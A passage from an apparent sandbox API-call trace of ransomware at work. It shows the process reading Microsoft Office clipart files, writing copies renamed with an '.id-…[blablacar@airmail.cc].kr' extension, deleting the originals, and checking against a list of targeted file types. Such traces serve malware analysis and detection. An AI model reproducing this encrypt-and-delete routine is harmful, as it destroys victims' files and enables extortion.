office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0204.807] GetLastError () returned 0x0 [0204.807] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0205.022] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0205.024] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0205.024] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0205.024] SetEndOfFile (hFile=0x4d8) returned 1 [0205.024] CloseHandle (hObject=0x4d8) returned 1 [0205.024] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.024] SetEndOfFile (hFile=0x544) returned 1 [0205.234] CloseHandle (hObject=0x544) returned 1 [0205.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0205.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0205.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0205.235] lstrlenW (lpString=".doc") returned 4 [0205.235] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0205.235] lstrlenW (lpString=".docx") returned 5 [0205.235] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0205.235] lstrlenW (lpString=".pdf") returned 4 [0205.235] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0205.235] lstrlenW (lpString=".xls") returned 4 [0205.235] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0205.235] lstrlenW (lpString=".xlsx") returned 5 [0205.236] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0205.236] lstrlenW (lpString=".ppt") returned 4 [0205.236] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0205.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0205.236] lstrlenW (lpString=".zip") returned 4 [0205.236] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0205.236] lstrlenW (lpString=".rar") returned 4 [0205.236] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0205.236] lstrlenW (lpString=".bz2") returned 4 [0205.236] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0205.236] lstrlenW (lpString=".7z") returned 3 [0205.236] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0205.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0205.236] lstrlenW (lpString=".dbf") returned 4 [0205.236] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0205.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0205.236] lstrlenW (lpString=".1cd") returned 4 [0205.236] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0205.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0205.236] lstrlenW (lpString=".jpg") returned 4 [0205.236] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0205.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0205.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0205.236] lstrlenW (lpString=".doc") returned 4 [0205.236] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0205.236] lstrlenW (lpString=".docx") returned 5 [0205.236] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0205.236] lstrlenW (lpString=".pdf") returned 4 [0205.236] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0205.236] lstrlenW (lpString=".xls") returned 4 [0205.236] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0205.236] lstrlenW (lpString=".xlsx") returned 5 [0205.236] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0205.237] lstrlenW (lpString=".ppt") returned 4 [0205.237] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0205.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0205.237] lstrlenW (lpString=".zip") returned 4 [0205.237] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0205.237] lstrlenW (lpString=".rar") returned 4 [0205.237] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0205.237] lstrlenW (lpString=".bz2") returned 4 [0205.237] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0205.237] lstrlenW (lpString=".7z") returned 3 [0205.237] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0205.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0205.237] lstrlenW (lpString=".dbf") returned 4 [0205.237] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0205.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0205.237] lstrlenW (lpString=".1cd") returned 4 [0205.237] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0205.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0205.237] lstrlenW (lpString=".jpg") returned 4 [0205.237] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0205.237] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.237] lstrlenW (lpString="J0102984.WMF") returned 12 [0205.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0205.238] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=17040) returned 1 [0205.238] CloseHandle (hObject=0x544) returned 1 [0205.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220 [0205.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0205.239] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.239] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0205.240] GetLastError () returned 0x0 [0205.240] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x4290, lpOverlapped=0x0) returned 1 [0205.242] WriteFile (in: hFile=0x54c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x42a0, lpOverlapped=0x0) returned 1 [0205.243] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0205.243] WriteFile (in: hFile=0x54c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0205.243] SetEndOfFile (hFile=0x54c) returned 1 [0205.244] CloseHandle (hObject=0x54c) returned 1 [0205.244] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.244] SetEndOfFile (hFile=0x544) returned 1 [0205.247] CloseHandle (hObject=0x544) returned 1 [0205.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0205.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0205.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0205.248] lstrlenW (lpString=".doc") returned 4 [0205.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.248] lstrlenW (lpString=".docx") returned 5 [0205.248] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0205.248] lstrlenW (lpString=".pdf") returned 4 [0205.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.248] lstrlenW (lpString=".xls") returned 4 [0205.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.248] lstrlenW (lpString=".xlsx") returned 5 [0205.248] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0205.248] lstrlenW (lpString=".ppt") returned 4 [0205.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0205.249] lstrlenW (lpString=".zip") returned 4 [0205.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.249] lstrlenW (lpString=".rar") returned 4 [0205.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.249] lstrlenW (lpString=".bz2") returned 4 [0205.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.249] lstrlenW (lpString=".7z") returned 3 [0205.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0205.249] lstrlenW (lpString=".dbf") returned 4 [0205.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0205.249] lstrlenW (lpString=".1cd") returned 4 [0205.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0205.249] lstrlenW (lpString=".jpg") returned 4 [0205.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0205.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0205.249] lstrlenW (lpString=".doc") returned 4 [0205.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.249] lstrlenW (lpString=".docx") returned 5 [0205.249] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0205.249] lstrlenW (lpString=".pdf") returned 4 [0205.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.249] lstrlenW (lpString=".xls") returned 4 [0205.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.249] lstrlenW (lpString=".xlsx") returned 5 [0205.249] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0205.249] lstrlenW (lpString=".ppt") returned 4 [0205.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0205.249] lstrlenW (lpString=".zip") returned 4 [0205.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.250] lstrlenW (lpString=".rar") returned 4 [0205.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.250] lstrlenW (lpString=".bz2") returned 4 [0205.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.250] lstrlenW (lpString=".7z") returned 3 [0205.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0205.250] lstrlenW (lpString=".dbf") returned 4 [0205.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0205.250] lstrlenW (lpString=".1cd") returned 4 [0205.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0205.250] lstrlenW (lpString=".jpg") returned 4 [0205.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.250] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.250] lstrlenW (lpString="J0103058.WMF") returned 12 [0205.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0205.251] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=17344) returned 1 [0205.251] CloseHandle (hObject=0x544) returned 1 [0205.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220 [0205.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0205.252] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.252] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0205.267] GetLastError () returned 0x0 [0205.267] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x43c0, lpOverlapped=0x0) returned 1 [0205.333] WriteFile (in: hFile=0x54c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x43d0, lpOverlapped=0x0) returned 1 [0205.334] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0205.334] WriteFile (in: hFile=0x54c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0205.334] SetEndOfFile (hFile=0x54c) returned 1 [0205.346] CloseHandle (hObject=0x54c) returned 1 [0205.347] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.347] SetEndOfFile (hFile=0x544) returned 1 [0205.410] CloseHandle (hObject=0x544) returned 1 [0205.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0205.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0205.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0205.412] lstrlenW (lpString=".doc") returned 4 [0205.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.412] lstrlenW (lpString=".docx") returned 5 [0205.412] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0205.412] lstrlenW (lpString=".pdf") returned 4 [0205.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.412] lstrlenW (lpString=".xls") returned 4 [0205.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.412] lstrlenW (lpString=".xlsx") returned 5 [0205.412] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0205.412] lstrlenW (lpString=".ppt") returned 4 [0205.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0205.412] lstrlenW (lpString=".zip") returned 4 [0205.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.412] lstrlenW (lpString=".rar") returned 4 [0205.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.412] lstrlenW (lpString=".bz2") returned 4 [0205.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.412] lstrlenW (lpString=".7z") returned 3 [0205.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0205.412] lstrlenW (lpString=".dbf") returned 4 [0205.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0205.412] lstrlenW (lpString=".1cd") returned 4 [0205.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0205.412] lstrlenW (lpString=".jpg") returned 4 [0205.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0205.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0205.413] lstrlenW (lpString=".doc") returned 4 [0205.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.413] lstrlenW (lpString=".docx") returned 5 [0205.413] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0205.413] lstrlenW (lpString=".pdf") returned 4 [0205.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.413] lstrlenW (lpString=".xls") returned 4 [0205.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.413] lstrlenW (lpString=".xlsx") returned 5 [0205.413] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0205.413] lstrlenW (lpString=".ppt") returned 4 [0205.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0205.413] lstrlenW (lpString=".zip") returned 4 [0205.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.413] lstrlenW (lpString=".rar") returned 4 [0205.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.413] lstrlenW (lpString=".bz2") returned 4 [0205.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.413] lstrlenW (lpString=".7z") returned 3 [0205.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0205.413] lstrlenW (lpString=".dbf") returned 4 [0205.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0205.413] lstrlenW (lpString=".1cd") returned 4 [0205.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0205.413] lstrlenW (lpString=".jpg") returned 4 [0205.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.414] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.414] lstrlenW (lpString="J0103850.WMF") returned 12 [0205.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0205.421] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=23596) returned 1 [0205.421] CloseHandle (hObject=0x518) returned 1 [0205.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220 [0205.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0205.422] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.422] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0205.423] GetLastError () returned 0x0 [0205.423] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x5c2c, lpOverlapped=0x0) returned 1 [0205.425] WriteFile (in: 